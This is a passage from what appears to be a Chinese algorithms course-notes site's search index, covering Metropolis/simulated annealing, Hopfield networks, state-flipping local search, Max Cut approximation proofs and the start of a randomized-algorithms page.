\u7684\u80fd\u91cf\u4e3a \\(E(S)\\)\uff0c\u5e76\u786e\u5b9a\u4e00\u4e2a\u6e29\u5ea6 \\(T\\)\uff1b</p> </li> <li> <p>\u4e0d\u65ad\u8fdb\u884c\u5982\u4e0b\u6b65\u9aa4\uff1a</p> </li> </ul> <p>(1) \u968f\u673a\u9009\u62e9 \\(S\\) \u7684\u4e00\u4e2a\u90bb\u5c45 \\(S'\\)\uff08\u53ef\u4ee5\u6309\u5747\u5300\u5206\u5e03\u968f\u673a\u9009\u62e9\uff09\uff1b</p> <p>(2) \u5982\u679c \\(E(S') \\leqslant E(S)\\)\uff0c\u5219\u63a5\u53d7 \\(S'\\) \u4f5c\u4e3a\u65b0\u7684\u89e3\uff1b</p> <p>(3) \u5982\u679c \\(E(S') &gt; E(S)\\)\uff0c\u5219\u4ee5\u6982\u7387 \\(e^{-(E(S')-E(S))/kT}\\) \u63a5\u53d7 \\(S\u2032\\) \u4f5c\u4e3a\u65b0\u7684\u89e3\uff1b\u5982\u679c\u63a5\u53d7\u4e86\u5219\u66f4\u65b0\u89e3\uff0c\u7ee7\u7eed\u4e0b\u4e00\u8f6e\u8fed\u4ee3\uff0c\u5426\u5219\u4fdd\u6301\u539f\u89e3 \\(S\\)\uff0c\u7ee7\u7eed\u8fed\u4ee3\u3002</p> <p>\u76f4\u89c2\u5730\u8bf4\uff0cMetropolis\u7b97\u6cd5\u5c31\u662f\u5728\u5f53\u524d\u89e3S\u7684\u90bb\u5c45\u4e2d\u968f\u673a\u9009\u62e9\u4e00\u4e2a\u89e3S\u2032\uff0c\u5982\u679cS\u2032\u7684\u80fd\u91cf\u66f4\u4f4e\u5219\u63a5\u53d7\uff0c\u5426\u5219\u4ee5\u4e00\u5b9a\u6982\u7387\u63a5\u53d7\u4e00\u4e2a\u66f4\u5dee\u7684\u89e3\u2014\u2014\u8fd9\u5c31\u4f7f\u5f97\u6211\u4eec\u6709\u53ef\u80fd\u8df3\u51fa\u4e00\u4e2a\u5c40\u90e8\u6700\u4f18\u89e3\u3002\u5f53\u7136\u6709\u4e00\u4e2a\u6ce8\u610f\u7684\u95ee\u9898\u662f\uff0c\u6211\u4eec\u4e0a\u9762\u6ca1\u6709\u5199\u7b97\u6cd5\u7684\u505c\u6b62\u70b9\uff0c\u5b9e\u9645\u4e0a\u8fdb\u884c\u5230\u4e00\u4e2a\u6ee1\u610f\u7684\u7ed3\u679c\u4e2d\u65ad\u7b97\u6cd5\u5373\u53ef\u3002Metropolis\u7b49\u4eba\u8bc1\u660e\u4e86\u4ed6\u4eec\u7684\u7b97\u6cd5\u5177\u6709\u5982\u4e0b\u6027\u8d28</p> <p>Note</p> <p>\u8bbe \\(Z = \\sum_{S } e^{\u2212E(S)/kT}\\)\uff0c\u5219\u5bf9\u4e8e\u4efb\u610f\u72b6\u6001 \\(S\\)\uff0c\u8bb0\\(f_S(t)\\)\u4e3a\u5728\\(t\\)\u8f6e\u8fed\u4ee3\u4e2d\u9009\u5230\u4e86\u72b6\u6001\\(S\\)\u7684\u6bd4\u4f8b\uff0c\u5219\u5f53\\(t \\to \\infty\\)\u65f6\uff0c\\(f_S(t) \\text{(\u4ee5\u6982\u73871\u6536\u655b)} \\to e^{\u2212E(S)/kT}/Z\\)\u3002</p>"},{"location":"NOTE/ADS/wk11/#hopfield","title":"Hopfield \u795e\u7ecf\u7f51\u7edc","text":"<p>Hopfield\u795e\u7ecf\u7f51\u7edc\u662f\u4e00\u79cd\u5168\u8fde\u63a5\u7684\u53cd\u9988\u795e\u7ecf\u7f51\u7edc\uff0c\u4e8e1982\u5e74\u7531J.Hopfeld\u6559\u6388\u63d0\u51fa;Hopfield\u795e\u7ecf\u7f51\u7edc\u6709\u4e00\u4e2a\u80fd\u91cf\u51fd\u6570\uff0c\u5982\u679c\u80fd\u5c06\u80fd\u91cf\u51fd\u6570\u4e0e\u4e00\u4e2a\u4f18\u5316\u95ee\u9898\u7ed1\u5b9a\uff0c\u90a3\u4e48Hopfield\u795e\u7ecf\u7f51\u7edc\u5c31\u53ef\u4ee5\u7528\u6765\u89e3\u51b3\u8fd9\u4e2a\u4f18\u5316\u95ee\u9898\uff0c\u4f8b\u5982\u65c5\u884c\u5546\u95ee\u9898</p> <p>Definition</p> <ol> <li> <p>Hopfield \u795e\u7ecf\u7f51\u7edc\u53ef\u4ee5\u62bd\u8c61\u4e3a\u4e00\u4e2a\u65e0\u5411\u56fe \\( G = (V, E) \\)\uff0c\u5176\u4e2d \\( V \\) \u662f\u795e\u7ecf\u5143\u7684\u96c6\u5408\uff0c\\( E \\) \u662f\u795e\u7ecf\u5143\u4e4b\u95f4\u7684\u8fde\u63a5\u5173\u7cfb\uff0c\u5e76\u4e14\u6bcf\u6761\u8fb9 \\( e \\) \u90fd\u6709\u4e00\u4e2a\u6743\u91cd \\( w_e \\)\uff0c\u8fd9\u53ef\u80fd\u662f\u6b63\u6570\u6216\u8d1f\u6570\uff1a</p> </li> <li> <p>Hopfield \u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u4e2a\u72b6\u6001 (configuration) \u662f\u6307\u7f51\u7edc\u4e2d\u6bcf\u4e2a\u795e\u7ecf\u5143 (\u5373\u56fe\u7684\u9876\u70b9) \u7684\u72b6\u6001\u7684\u4e00\u4e2a\u53d6\u503c\uff0c\u503e\u5411\u503c\u80fd\u4e3a 1 \u6216 -1\u3002\u6211\u4eec\u8bb0\u9876\u70b9u\u7684\u72b6\u6001\u4e3a \\( s_u \\)\u3002</p> </li> <li> <p>\u5982\u679c\u5bf9\u4e8e\u8fb9 \\( e = (u, v) \\)\uff0c\u6211\u4eec\u5b9a\u4e49 \\( c_e = w_e s_u s_v \\)\uff0c\u6211\u4eec\u5e0c\u671b\\(c_e &lt; 0\\)</p> </li> <li> <p>\u6211\u4eec\u5c06\u4e0a\u8ff0\u6761\u4ef6\u7684\u8fb9\u79f0\u4e3a\u201c\u597d\u201d\u7684 (good)\uff0c\u800c\u79f0\u4e3a\u201c\u574f\u201d\u7684 (bad)\u3002</p> </li> <li> <p>\u5982\u679c\u6211\u4eec\u4e00\u70b9\u662f\u201c\u6ee1\u610f\u7684\u201d (satisfied)\uff0c\u5f53\u4e14\u4ec5\u5f53\u5b83\u6240\u8fde\u63a5\u7684\u6240\u6709\u70b9\u4e2d\uff0c\u597d\u8fb9\u7684\u6743\u91cd\u7edd\u5bf9\u503c\u5927\u4e8e\u7b49\u4e8e\u574f\u8fb9\u7684\uff0c\u5373</p> </li> </ol> \\[ \\sum_{(u,v) \\in E} w_{e(u,v)} s_v s_u &lt; 0, \\] <p>\u53cd\u4e4b\uff0c\u5982\u679c\u4e0d\u6ee1\u8db3\u8fd9\u4e00\u6761\u4ef6\uff0c\u6211\u4eec\u79f0\u5176\u4e3a\u201c\u4e0d\u6ee1\u610f\u7684\u201d (unsatisfied)\u3002</p> <p>6.\u6700\u540e\uff0c\u6211\u4eec\u79f0\u4e00\u4e2a\u6784\u578b\u662f\u201c\u7a33\u5b9a\u7684\uff08stable\uff09\u201d\uff0c\u5f53\u4e14\u4ec5\u5f53\u6240\u6709\u7684\u70b9\u90fd\u662f\u6ee1\u610f\u7684</p> <p></p>"},{"location":"NOTE/ADS/wk11/#_7","title":"\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5","text":"<p>\u5982\u679c\u8981\u8bbe\u8ba1\u4e00\u4e2a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\uff0c\u6211\u60f3\u6211\u4eec\u6709\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u76f4\u63a5\u7684\u65b9\u5f0f\u3002\u5728\u8fd9\u4e00\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u81ea\u7136\u5730\u5c31\u4f1a\u5b9a\u4e49\u4e00\u4e2a\u6784\u578b\u7684\u90bb\u5c45\u5c31\u662f\u5c06\u5176\u4e2d\u4e00\u4e2a\u70b9\u7684\u72b6\u6001\u53d6\u53cd\u5f97\u5230\u7684\u65b0\u6784\u578b\uff0c\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u8bbe\u8ba1\u4e00\u4e2a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u4e86\uff1a\u6211\u4eec\u4ece\u4e00\u4e2a\u968f\u673a\u521d\u59cb\u6784\u578b\u5f00\u59cb\uff0c\u7136\u540e\u68c0\u67e5\u6bcf\u4e2a\u70b9\u662f\u5426\u6ee1\u610f\uff0c\u5982\u679c\u6709\u4e0d\u6ee1\u610f\u7684\u70b9\uff0c\u6211\u4eec\u5c31\u7ffb\u8f6c\u8fd9\u4e2a\u70b9\u7684\u72b6\u6001\uff08\u90a3\u4e48\u8fd9\u4e2a\u70b9\u81ea\u7136\u5c31\u53d8\u5f97\u6ee1\u610f\u4e86\uff09\uff0c\u7136\u540e\u7ee7\u7eed\u68c0\u67e5\uff0c\u76f4\u5230\u6240\u6709\u7684\u70b9\u90fd\u6ee1\u610f\u4e3a\u6b62\u3002 \u5982\u679c\u8fd9\u4e2a\u7b97\u6cd5\u4f1a\u505c\u6b62 \uff0c\u90a3\u4e48\u505c\u6b62\u7684\u65f6\u5019\u6211\u4eec\u5f97\u5230\u7684\u5c31\u662f\u4e00\u4e2a\u7a33\u5b9a\u6784\u578b\uff1a\u56e0\u4e3a\u6240\u6709\u70b9\u90fd\u6ee1\u610f\u4e86;</p> <p>\u6211\u4eec\u79f0\u4e3a\u72b6\u6001\u7ffb\u8f6c\u7b97\u6cd5\uff08State flipping algorithm\uff09\uff1a</p> <pre><code>ConfigType State_flipping()\n{\n    Start from an arbitrary configuration S;\n    while ( ! IsStable(S) ) {\n        u = GetUnsatisfied(S);\n        su = - su;\n    }\n    return S;\n}\n</code></pre> <p>\u8fd9\u4e2a\u7b97\u6cd5\u4e00\u5b9a\u4f1a\u505c\u6b62\u5417</p> <p> State_flipping\u7b97\u6cd5\u81f3\u591a\u53cd\u8f6c\\(\\sum_{e \\in E}|w_e|\\)\u540e\u4f1a\u505c\u6b62 </p> <p>\u9996\u5148\uff0c\u5b9a\u4e49\u52bf\u80fd\u51fd\u6570\u4e3a\u4e00\u4e2a\u6784\u578b\\(S\\)\u6240\u6709\u597d\u8fb9\u7684\u6743\u91cd\u7684\u7edd\u5bf9\u503c\u4e4b\u548c</p> \\[ \\Phi(S) = \\sum_{e \\in E} |w_e| \\cdot \\mathbb{I}(c_e &lt; 0) \\] <p>\u663e\u7136\uff0c\u5bf9\u4e8e\u4efb\u610f\u7684\u6784\u578b\\(S\\)\uff0c\\(\\Phi(S) \\geqslant 0\\)\uff0c\u5e76\u4e14\u6700\u5927\u503c\u5c31\u662f\u6240\u6709\u8fb9\u7684\u6743\u91cd\u7edd\u5bf9\u503c\u4e4b\u548c\u3002\u5373</p> \\[ \\Phi(S) \\leqslant \\sum_{e \\in E} |w_e| \\] <p>\u5047\u8bbe\u5f53\u524d\u72b6\u6001\u4e3a\\(S\\),\u6709\u4e00\u4e2a\u4e0d\u6ee1\u610f\u7684\u70b9\\(u\\)\uff0c\u90a3\u4e48\u6211\u4eec\u5c06\\(u\\)\u7684\u72b6\u6001\u53d6\u53cd\u53d8\u4e3a\\(\\overline{u}\\)\uff0c\u8bbe\u6b64\u65f6\u72b6\u6001\u4e3a\\(S'\\)\uff0c\u90a3\u4e48</p> \\[     \\Phi(S') - \\Phi(S) =  \\sum_{e=(u,v),e \\in bad} |w_e| - \\sum_{e=(u,v),e \\in good} |w_e| \\geqslant 0 \\] <p>\u8fd9\u662f\u56e0\u4e3a\u7ffb\u8f6c\u540e\u539f\u5148\u4e0e \\(u\\) \u76f8\u8fde\u7684\u597d\u8fb9\u90fd\u53d8\u6210\u4e86\u574f\u8fb9\uff0c\u574f\u8fb9\u90fd\u53d8\u6210\u4e86\u597d\u8fb9\uff0c\u5176\u4f59\u8fb9\u6ca1\u6709\u53d8\u5316\u3002\u53c8\u56e0\u4e3a \\(u\\) \u662f\u4e0d\u6ee1\u610f\u7684\uff0c\u56e0\u6b64\u4e0e \\(u\\) \u76f8\u8fde\u7684\u574f\u8fb9\u6bd4\u597d\u8fb9\u6743\u91cd\u7edd\u5bf9\u503c\u4e4b\u548c\u5927\uff0c\u6240\u4ee5\u4e0a\u5f0f\u5927\u4e8e 0</p> <p>\u52bf\u80fd\u51fd\u6570\u53ea\u80fd\u53d6\u6574\u6570\u503c\uff0c\u6240\u4ee5 \\(\\Phi(S') \\geqslant \\Phi(S)+1\\)</p> <p>\u8fd9\u5c31\u610f\u5473\u7740\u6211\u4eec\u6bcf\u6b21\u7ffb\u8f6c\u4e00\u4e2a\u4e0d\u6ee1\u610f\u7684\u70b9\uff0c\u52bf\u80fd\u51fd\u6570\u5c31\u4f1a\u589e\u52a0\u81f3\u5c11 1\u3002\u56e0\u4e3a\u52bf\u80fd\u51fd\u6570\u7684\u53d6\u503c\u8303\u56f4\u662f\u6709\u9650\u7684\uff080 \u5230\u6240\u6709\u8fb9\u6743\u91cd\u7edd\u5bf9\u503c\u4e4b\u548c\uff09\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u4e00\u5b9a\u4f1a\u505c\u6b62;</p> <p>\u6709\u63a8\u8bba:</p> <p>\u8bbe \\(S\\) \u662f\u4e00\u4e2a\u6784\u578b\uff0c\u5982\u679c \\(\\Phi(S)\\) \u662f\u5c40\u90e8\u6700\u5927\u503c\uff0c\u5219 \\(S\\) \u662f\u4e00\u4e2a\u7a33\u5b9a\u6784\u578b</p> <p>\u8bc1\u660e\uff1a\u5982\u679c \\(S\\) \u4e0d\u662f\u4e00\u4e2a\u7a33\u5b9a\u6784\u578b\uff0c\u90a3\u4e48\u81f3\u5c11\u6709\u4e00\u4e2a\u70b9\u662f\u4e0d\u6ee1\u610f\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u7ffb\u8f6c\u8fd9\u4e2a\u70b9\uff0c\u52bf\u80fd\u51fd\u6570\u4f1a\u589e\u52a0\u81f3\u5c11 1\uff0c\u8fd9\u5c31\u610f\u5473\u7740 \\(\\Phi(S)\\) \u4e0d\u662f\u5c40\u90e8\u6700\u5927\u503c\uff0c\u77db\u76fe\u3002</p>"},{"location":"NOTE/ADS/wk11/#max-cut","title":"\u6700\u5927\u5272\u95ee\u9898 (Max Cut)","text":"<p>\u6700\u5927\u5272\u95ee\u9898\u4e5f\u662f\u4e00\u4e2a\u7ecf\u5178\u7684 NP \u56f0\u96be\u95ee\u9898\uff0c\u5728\u8fd9\u4e00\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u5e0c\u671b\u5c06\u4e00\u4e2a\u8fb9\u6743\u5168\u4e3a\u6b63\u7684\u65e0\u5411\u56fe \\(G = (V, E)\\) \u7684\u9876\u70b9\u96c6\u5408 \\(V\\) \u5206\u6210\u4e24\u4e2a\u96c6\u5408 \\(A\\) \u548c \\(B\\)\uff08\u8fd9\u65f6\u7684\u89e3\u8bb0\u4e3a \\((A, B)\\)\uff09\uff0c\u4f7f\u5f97\u5272\u8fb9\u7684\u6743\u91cd\u548c\u6700\u5927\uff0c\u5176\u4e2d\u5272\u8fb9\u7684\u542b\u4e49\u5c31\u662f\u4e00\u6761\u8fb9\u7684\u4e24\u4e2a\u7aef\u70b9\u5206\u522b\u5728 \\(A\\) \u548c \\(B\\) \u4e2d\uff0c\u5373\u6211\u4eec\u8981\u6700\u5927\u5316</p> \\[    w(A,B) = \\sum_{(u, v) \\in E} w_{uv} \\cdot \\mathbb{I}(u \\in A, v \\in B) \\] <p>\u4e0eHopfield\u7684\u5173\u8054</p> <p>\u6211\u4eec\u5e0c\u671b\u7ed9\u51fa\u4e00\u4e2a\u5c40\u90e8\u641c\u7d22\u89e3\u6cd5----\u8fd9\u662f\u975e\u5e38\u81ea\u7136\u7684\uff0c\u56e0\u4e3a\u5b83\u548c Hopfield \u795e\u7ecf\u7f51\u7edc\u95ee\u9898\u4e4b\u95f4\u6709\u4e00\u4e2a\u5f88\u76f4\u63a5\u7684\u5173\u8054\u3002\u6211\u4eec\u6709\u4e00\u4e2a\u5f88\u7b80\u5355\u7684\u89c2\u5bdf\uff0c\u5bf9\u4e8e\u4efb\u610f\u7684\u89e3 \\((A, B)\\)\uff0c\u7136\u540e\u5c06 \\(A\\) \u4e2d\u7684\u70b9\u8d4b\u72b6\u6001\\(-1\\)\uff0c\\(B\\) \u4e2d\u7684\u70b9\u8d4b\u72b6\u6001 \\(1\\)\uff0c\u56e0\u4e3a\u6240\u6709\u8fb9\u7684\u6743\u91cd\u90fd\u662f\u6b63\u6570\uff0c\u6240\u4ee5\u6700\u5927\u5316\u5272\u8fb9\u6743\u91cd\u548c\u5bf9\u5e94\u4e8e\\(Hopfield\\) \u795e\u7ecf\u7f51\u7edc\u95ee\u9898\u5176\u5b9e\u5c31\u662f\u6700\u5927\u5316\u597d\u8fb9\u7684\u603b\u6743\u91cd\u548c \\(\\Phi(S)\\)\uff0c\u8fd9\u5c31\u548c Hopfield \u795e\u7ecf\u7f51\u7edc\u95ee\u9898\u4e00\u6837\u4e86,\u4f7f\u7528State flipping\u7b97\u6cd5\u5373\u53ef</p>"},{"location":"NOTE/ADS/wk11/#_8","title":"\u5c40\u90e8\u7b97\u6cd5\u4e0e\u6700\u4f18\u89e3\u7684\u5173\u7cfb","text":"<p>\u5728\u6700\u5927\u5272\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u8bc1\u660e\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u7684\u6700\u4f18\u89e3\u548c\u5168\u5c40\u6700\u4f18\u89e3\u4e4b\u95f4\u7684\u5173\u7cfb\uff1a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u7ed9\u51fa\u7684\u5c40\u90e8\u6700\u4f18\u89e3\u6700\u5dee\u4e5f\u4e0d\u4f1a\u4f4e\u4e8e\u6700\u4f18\u89e3\u7684\u4e00\u534a</p> <p>\u5373</p> <p>\u8bbe \\((A, B)\\) \u662f\u5982\u4e0a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u5f97\u51fa\u7684\u4e00\u4e2a\u5c40\u90e8\u6700\u4f18\u89e3\uff0c\\((A^\u2217, B^\u2217)\\) \u662f\u6700\u4f18\u89e3\uff0c\u5219</p> \\[     w(A, B) \\geqslant \\frac{1}{2} w(A^\u2217, B^\u2217) \\] <p>Proof</p> <p>\u8bbe \\(u \\in A\\),\u56e0\u4e3a\\((A,B)\\)\u662f\u5c40\u90e8\u6700\u4f18\u89e3\uff0c\u6240\u4ee5\uff0c\u5982\u679c\u5c06\\(u\\)\u4ece\\(A\\)\u4e2d\u79fb\u5230\\(B\\)\u4e2d\uff0c\u5272\u8fb9\u6743\u91cd\u548c\u4f1a\u51cf\u5c11\uff1b\u5373</p> \\[     \\sum_{v \\in A} w_{uv} \\leqslant \\sum_{v in B} w_{uv} \\] <p>\u5bf9\u6240\u6709\u7684\\(u \\in A\\)\u90fd\u6210\u7acb\uff0c\u6240\u4ee5\u6c42\u548c\u5f97\u5230</p> \\[     \\sum_{u \\in A}\\sum_{v \\in A} w_{uv} \\leqslant \\sum_{u \\in A}\\sum_{v \\in B} w_{uv} \\] <p>\u7b49\u5f0f\u5de6\u8fb9\u4e3a\\(A\\)\u4e2d\u6240\u6709\u7684\u8fb9\u6743\u91cd\u548c\u7684\u4e24\u500d\uff0c\u53f3\u8fb9\u4e3a\\(A\\)\u548c\\(B\\)\u4e4b\u95f4\u7684\u8fb9\u6743\u91cd\u548c(\u6240\u6709\u7684\u5272\u8fb9\u7684\u6743\u91cd\u548c)\uff0c\u6240\u4ee5</p> \\[     2w(A,A) \\leqslant w(A,B) \\] <p>\u540c\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> \\[     2w(B,B) \\leqslant w(A,B) \\] <p>\u6211\u4eec\u53c8\u77e5\u9053\uff0c\u603b\u7684\u8fb9\u6743\u91cd\u548c\u4e3a</p> \\[     W = w(A,A) + w(B,B) + w(A,B) \\] <p>\u6240\u4ee5</p> \\[     w(A^*,B^*) \\leqslant w(A,B) + w(A,A) + w(B,B) \\leqslant 2w(A,B) \\]"},{"location":"NOTE/ADS/wk11/#_9","title":"\u4f18\u5316","text":"<p>\u4e8b\u5b9e\u4e0a\u5728\u63a7\u5236\u8fed\u4ee3\u6b21\u6570\u5f15\u8d77\u7684\u590d\u6742\u5ea6\u65f6\u975e\u5e38\u5e38\u7528\uff08\u8fd9\u91cc\u5c31\u662f\u6c42 \\(\\Phi(S)\\) \u7684\u5c40\u90e8\u6700\u4f18\u503c\u9700\u8981\u7684\u8fed\u4ee3\u6b21\u6570\u53ef\u80fd\u592a\u591a\uff09\u3002\u6211\u4eec\u8981\u6c42\u7b97\u6cd5\u5728\u627e\u4e0d\u5230\u4e00\u4e2a\u80fd\u5bf9\u89e3\u6709 \u201c\u6bd4\u8f83\u5927\u7684\u63d0\u5347\u201d \u7684\u65f6\u5019\u5c31\u505c\u6b62\uff0c\u5373\u4f7f\u5f53\u65f6\u7684\u89e3\u4e0d\u662f\u5c40\u90e8\u6700\u4f18\u89e3\uff1a</p> <p>\u5f53\u6211\u4eec\u5904\u4e8e\u89e3 \\(w(A, B)\\) \u65f6\uff0c\u6211\u4eec\u8981\u6c42\u4e0b\u4e00\u4e2a\u89e3\u7684\u6743\u91cd\u81f3\u5c11\u8981\u589e\u5927\\(\\dfrac{2\\varepsilon}{n}w(A, B)\\)\uff0c\u5176\u4e2d \\(n\\) \u662f\u56fe \\(G\\) \u7684\u9876\u70b9\u6570\u3002\u5bf9\u4e8e\u8fd9\u4e00\u7b97\u6cd5\uff0c\u6211\u4eec\u6709\u5982\u4e0b\u7ed3\u8bba\uff1a</p> <p>\u8bbe \\((A, B)\\) \u662f\u5982\u4e0a\u5c40\u90e8\u641c\u7d22\u7b97\u6cd5\u5f97\u51fa\u7684\u4e00\u4e2a\u89e3\uff0c\\((A^\u2217, B^\u2217)\\) \u662f\u6700\u4f18\u89e3\uff0c\u5219</p> \\[     w(A, B) \\geqslant \\frac{1}{2+\\varepsilon} w(A^\u2217, B^\u2217) \\] <p>\u5e76\u4e14\u8fd9\u4e00\u7b97\u6cd5\u4f1a\u5728 \\(O(\\dfrac{n}{\\varepsilon} \\log W)\\) \u6b21\u72b6\u6001\u7ffb\u8f6c\u540e\u505c\u6b62\uff0c\u5176\u4e2d \\(W\\) \u662f\u6240\u6709\u8fb9\u7684\u6743\u91cd\u4e4b\u548c</p> <p>Proof</p> <p>\u5bf9\u4e8e\u4efb\u610f\u7684\u89e3 \\((A, B)\\)\uff0c\u8bbe\\(u \\in A\\)</p> \\[     \\sum_{v \\in A} w_{uv} \\leqslant \\sum_{v \\in B} w_{uv} + \\frac{2\\varepsilon}{n} w(A,B) \\] <p>\u5bf9\u6240\u6709\u7684\\(u \\in A\\)\u90fd\u6210\u7acb\uff0c\u6240\u4ee5\u6c42\u548c\u5f97\u5230</p> \\[     2w(A,A) \\leqslant w(A,B) + \\frac{2\\varepsilon}{n} w(A,B) \\cdot n_A \\] <p>\u5176\u4e2d \\(n_A\\) \u662f \\(A\\) \u4e2d\u7684\u70b9\u6570\uff0c\u540c\u7406</p> \\[     2w(B,B) \\leqslant w(A,B) + \\frac{2\\varepsilon}{n} w(A,B) \\cdot n_B \\] <p>\u6240\u4ee5</p> \\[     w(A^*,B^*) \\leqslant w(A,B) + w(A,A) + w(B,B) \\leqslant 2w(A,B) + \\varepsilon w(A,B)  \\] <p>\u56e0\u4e3a\u6211\u4eec\u6bcf\u6b21\u53cd\u8f6c\u4f1a\u4f7f\u5f97\u5272\u8fb9\u6743\u91cd\u548c\u589e\u52a0\\(1+\\dfrac{\\varepsilon}{n}\\)\u500d\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\\(O(\\dfrac{n}{\\varepsilon} \\log W)\\)\u6b21\u72b6\u6001\u7ffb\u8f6c\u540e\u4f1a\u8fbe\u5230\u505c\u6b62\u6761\u4ef6</p> \u9009\u62e9\u66f4\u597d\u7684\u90bb\u5c45 <p></p>"},{"location":"NOTE/ADS/wk12/","title":"\u968f\u673a\u7b97\u6cd5","text":"<p> \u7ea6 1631 \u4e2a\u5b57  54 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 6 \u5206\u949f</p> <p>\u786e\u5b9a\u6027\u7b97\u6cd5\u662f\u6307\u5728\u7ed9\u5b9a\u76f8\u540c\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\uff0c\u7b97\u6cd5\u603b\u662f\u4ea7\u751f\u76f8\u540c\u7684\u7ed3\u679c\u3002</p> <p>\u968f\u673a\u7b97\u6cd5\u662f\u6307\u5728\u7ed9\u5b9a\u76f8\u540c\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\uff0c\u7b97\u6cd5\u53ef\u80fd\u4ea7\u751f\u4e0d\u540c\u7684\u7ed3\u679c\u3002</p> <p>\u5bf9\u4e8e\u4e00\u4e9b\u590d\u6742\u7684\u8ba1\u7b97\u95ee\u9898\uff0c\u786e\u5b9a\u6027\u7b97\u6cd5\u53ef\u80fd\u9700\u8981\u8017\u8d39\u5927\u91cf\u7684\u65f6\u95f4\u548c\u8d44\u6e90\uff0c\u800c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u5728\u5408\u7406\u7684\u65f6\u95f4\u5185\u63d0\u4f9b\u4e00\u4e2a\u8fd1\u4f3c\u89e3\u3002\u4f8b\u5982\uff0c\u8499\u7279\u5361\u7f57\u65b9\u6cd5\u5728\u8ba1\u7b97\u9ad8\u7ef4\u79ef\u5206\u65f6\u8868\u73b0\u51fa\u8272\u3002</p> <p>\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u8f93\u5165\u6570\u636e\u53ef\u80fd\u5177\u6709\u4e0d\u786e\u5b9a\u6027\u6216\u566a\u58f0\uff0c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u66f4\u597d\u5730\u5904\u7406\u8fd9\u4e9b\u4e0d\u786e\u5b9a\u6027\u3002\u4f8b\u5982\uff0c\u968f\u673a\u68ee\u6797\u7b97\u6cd5\u5728\u5904\u7406\u6709\u566a\u58f0\u7684\u6570\u636e\u65f6\u8868\u73b0\u826f\u597d\u3002</p> <p>\u6709\u4e9b\u95ee\u9898\u7684\u786e\u5b9a\u6027\u7b97\u6cd5\u8bbe\u8ba1\u975e\u5e38\u590d\u6742\uff0c\u800c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u63d0\u4f9b\u4e00\u79cd\u66f4\u4e3a\u7b80\u5355\u548c\u76f4\u63a5\u7684\u89e3\u51b3\u65b9\u6848\u3002\u4f8b\u5982\uff0c\u62c9\u65af\u7ef4\u52a0\u65af\u7b97\u6cd5\u5728\u627e\u5230\u6b63\u786e\u89e3\u4e4b\u524d\u4f1a\u4e0d\u65ad\u5c1d\u8bd5\uff0c\u8bbe\u8ba1\u76f8\u5bf9\u7b80\u5355\u3002</p> <p>\u5728\u5206\u5e03\u5f0f\u8ba1\u7b97\u73af\u5883\u4e2d\uff0c\u968f\u673a\u7b97\u6cd5\u53ef\u4ee5\u6709\u6548\u5730\u5206\u914d\u4efb\u52a1\uff0c\u51cf\u5c11\u901a\u4fe1\u5f00\u9500\uff0c\u63d0\u9ad8\u8ba1\u7b97\u6548\u7387\u3002\u4f8b\u5982\uff0c\u54c8\u5e0c\u7b97\u6cd5\u5728\u5206\u5e03\u5f0f\u7cfb\u7edf\u4e2d\u7684\u8d1f\u8f7d\u5747\u8861\u4e2d\u8d77\u5230\u4e86\u91cd\u8981\u4f5c\u7528\u3002</p> <p>\u968f\u673a\u7b97\u6cd5\u5206\u4e3a\u4ee5\u4e0b\u4e24\u79cd</p> <p>\u968f\u673a\u7b97\u6cd5</p> <ol> <li> <p>\u62c9\u65af\u7ef4\u52a0\u65af\u7b97\u6cd5(Las Vegas Algorithm): \u8fd9\u79cd\u7b97\u6cd5\u5728\u6bcf\u6b21\u8fd0\u884c\u65f6\u90fd\u4f1a\u4f7f\u7528\u968f\u673a\u6027\uff0c\u4f46\u5b83\u4fdd\u8bc1\u6700\u7ec8\u4f1a\u627e\u5230\u4e00\u4e2a\u6b63\u786e\u7684\u89e3\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u62c9\u65af\u7ef4\u52a0\u65af\u7b97\u6cd5\u7684\u8f93\u51fa\u603b\u662f\u6b63\u786e\u7684\uff0c\u4f46\u8fd0\u884c\u65f6\u95f4\u53ef\u80fd\u4f1a\u6709\u6240\u4e0d\u540c\u3002\u4e00\u4e2a\u5178\u578b\u7684\u4f8b\u5b50\u662f\u5feb\u901f\u6392\u5e8f\u7b97\u6cd5\u7684\u968f\u673a\u5316\u7248\u672c\uff0c\u5b83\u901a\u8fc7\u968f\u673a\u9009\u62e9\u67a2\u8f74\u6765\u63d0\u9ad8\u5e73\u5747\u6027\u80fd\u3002 (randomized algorithms that are always correct, and run efficiently in expectation)</p> </li> <li> <p>\u8499\u7279\u5361\u7f57\u7b97\u6cd5(Monte Carlo Algorithm): 